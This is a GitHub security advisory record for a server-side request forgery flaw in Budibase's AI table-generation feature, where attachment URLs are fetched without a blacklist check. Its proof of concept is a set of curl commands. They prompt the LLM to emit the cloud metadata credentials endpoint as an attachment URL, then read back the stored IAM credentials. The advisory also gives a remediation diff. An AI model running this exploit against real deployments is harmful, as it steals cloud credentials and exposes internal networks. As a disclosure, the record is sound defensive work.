{"id":"GHSA-hfhx-w8p8-4hc7","title":"Budibase: SSRF via bare fetch() in uploadUrl during AI table generation","summary":"Budibase: SSRF via bare fetch() in uploadUrl during AI table generation","severity":"medium","cwe":["CWE-918"],"vendor":"budibase","product":"@budibase/server","ecosystem":"npm","affected":["@budibase/server <= 3.38.1"],"published":"2026-07-24","updated":"2026-07-24","source":"GHSA","sourceUrl":"https://github.com/advisories/GHSA-hfhx-w8p8-4hc7","references":[{"url":"https://github.com/Budibase/budibase/security/advisories/GHSA-hfhx-w8p8-4hc7"},{"url":"https://github.com/Budibase/budibase/pull/18866"},{"url":"https://github.com/Budibase/budibase/commit/72e602d68daeebe3b95b0ed87acd351a38e327d7"},{"url":"https://github.com/Budibase/budibase/releases/tag/3.39.4"},{"url":"https://github.com/advisories/GHSA-hfhx-w8p8-4hc7"}],"tags":["ghsa","npm"],"ingestedAt":"2026-07-24T22:40:27.384Z","slug":"GHSA-hfhx-w8p8-4hc7","body":"## Overview\n\n# Budibase: SSRF via bare fetch() in uploadUrl during AI table generation\n\n## Summary\n\nThe `uploadUrl()` function in `packages/server/src/utilities/fileUtils.ts` uses a bare `fetch(url)` call without any SSRF protection. This function is invoked when the AI table generation feature processes LLM-generated attachment column values that are strings (URLs).\n\nA builder-level user can craft prompts that cause the LLM to generate internal IP addresses or cloud metadata endpoints as attachment URLs. When `generateRows()` calls `processAttachments()`, these URLs are fetched server-side without blacklist validation, allowing the attacker to reach internal services, cloud metadata APIs (169.254.169.254), or other network-internal resources.\n\nThis is a variant of the same class of issue addressed in other Budibase code paths where `fetchWithBlacklist()` is correctly used to prevent SSRF.\n\n## Affected Versions\n\n<= 3.39.0 (current `lerna.json` version at time of analysis)\n\n## Vulnerability Details\n\n### Root Cause: uploadUrl() uses bare fetch() without SSRF blacklist check\n\n```typescript\n// packages/server/src/utilities/fileUtils.ts:21-23\nexport async function uploadUrl(url: string): Promise<Upload | undefined> {\n  try {\n    const res = await fetch(url)  // No blacklist validation\n```\n\nThis is called from:\n\n```typescript\n// packages/server/src/sdk/workspace/ai/helpers/rows.ts:104-114\nasync function processAttachments(\n  entry: Record<string, any>,\n  attachmentColumns: FieldSchema[]\n) {\n  function processAttachment(value: any) {\n    if (typeof value === \"object\") {\n      return uploadFile(value)\n    }\n\n    return uploadUrl(value)  // String values treated as URLs, fetched without protection\n  }\n```\n\nWhich is triggered via `generateRows()` at line 34:\n\n```typescript\n// packages/server/src/sdk/workspace/ai/helpers/rows.ts:34\n        await processAttachments(entry, attachmentColumns)\n```\n\n### Compare with correct sibling: processUrlFile() in extract.ts\n\n```typescript\n// packages/server/src/automations/steps/ai/extract.ts:139-144\nasync function processUrlFile(\n  fileUrl: string,\n  fileType: SupportedFileType,\n  llm: LLMResponse\n): Promise<ExtractInput> {\n  const response = await fetchWithBlacklist(fileUrl)  // Correct: uses blacklist\n```\n\nThe `fetchWithBlacklist()` function validates each URL (including redirects) against a blacklist of internal/private IP ranges before making the request:\n\n```typescript\n// packages/server/src/automations/steps/utils.ts:100-112\nexport async function fetchWithBlacklist(\n  url: string,\n  request: RequestInit = {}\n): Promise<Response> {\n  const maxRedirects = 5\n  let nextUrl = url\n  // ...\n  for (let redirects = 0; redirects <= maxRedirects; redirects++) {\n    await throwIfBlacklisted(nextUrl)  // Validates against private IP ranges\n    const response = await fetch(nextUrl, nextRequest)\n```\n\n## Proof of Concept\n\nPrerequisites: Builder-level authentication, AI feature enabled on the instance.\n\n```bash\n# Step 1: Authenticate as builder\nTOKEN=$(curl -s -X POST 'http://TARGET:10000/api/global/auth/default/login' \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"username\":\"builder@example.com\",\"password\":\"password123\"}' \\\n  -c - | grep budibase:auth | awk '{print $NF}')\n\n# Step 2: Create an app with a table that has an attachment column\nAPP_ID=\"app_dev_xxxx\"  # Use existing app\n\n# Step 3: Use the AI table generation endpoint with a prompt designed to\n# produce internal URLs as attachment values.\n# The LLM will generate rows with attachment column values pointing to\n# internal services.\ncurl -X POST \"http://TARGET:10000/api/workspace/$APP_ID/ai/tables/generate\" \\\n  -H \"Content-Type: application/json\" \\\n  -H \"Cookie: budibase:auth=$TOKEN\" \\\n  -d '{\n    \"prompt\": \"Create a table called Assets with columns: name (string), logo (attachment). Add one row: name=test, logo=http://169.254.169.254/latest/meta-data/iam/security-credentials/\"\n  }'\n\n# The server will call uploadUrl(\"http://169.254.169.254/latest/meta-data/iam/security-credentials/\")\n# which fetches the cloud metadata endpoint without any SSRF protection.\n# The response content is saved to object storage and a URL is returned in the row data.\n\n# Step 4: Read the created row to exfiltrate the metadata response\ncurl -X GET \"http://TARGET:10000/api/$APP_ID/rows?tableId=<table_id>\" \\\n  -H \"Cookie: budibase:auth=$TOKEN\"\n# The attachment URL in the response points to the saved metadata content\n```\n\n## Impact\n\n- Attacker with builder access can read cloud instance metadata (AWS IAM credentials, GCP service account tokens)\n- Internal service enumeration and data exfiltration from private network resources\n- Port scanning of internal infrastructure via timing/error differences\n- Bypass of network segmentation when Budibase is deployed in a DMZ or VPC\n\n## Suggested Remediation\n\nReplace the bare `fetch()` in `uploadUrl()` with `fetchWithBlacklist()`:\n\n```typescript\n// packages/server/src/utilities/fileUtils.ts\nimport fs from \"fs\"\n-import fetch from \"node-fetch\"\nimport path from \"path\"\nimport { pipeline } from \"stream\"\nimport { promisify } from \"util\"\nimport * as uuid from \"uuid\"\n\nimport { context, objectStore } from \"@budibase/backend-core\"\nimport { Upload } from \"@budibase/types\"\nimport { ObjectStoreBuckets } from \"../constants\"\n+import { fetchWithBlacklist } from \"../automations/steps/utils\"\n\n// ...\n\nexport async function uploadUrl(url: string): Promise<Upload | undefined> {\n  try {\n-    const res = await fetch(url)\n+    const res = await fetchWithBlacklist(url)\n\n    const extension = [...res.url.split(\".\")].pop()!.split(\"?\")[0]\n```\n\n## Affected packages\n\n- `@budibase/server <= 3.38.1`\n\n## Remediation\n\nRefer to the advisory for the patched release.","depth":"sunlit","depthScore":28,"depthScoreParts":{"impact":27.5,"likelihood":0,"exploitation":0,"ransomware":0},"changes":[]}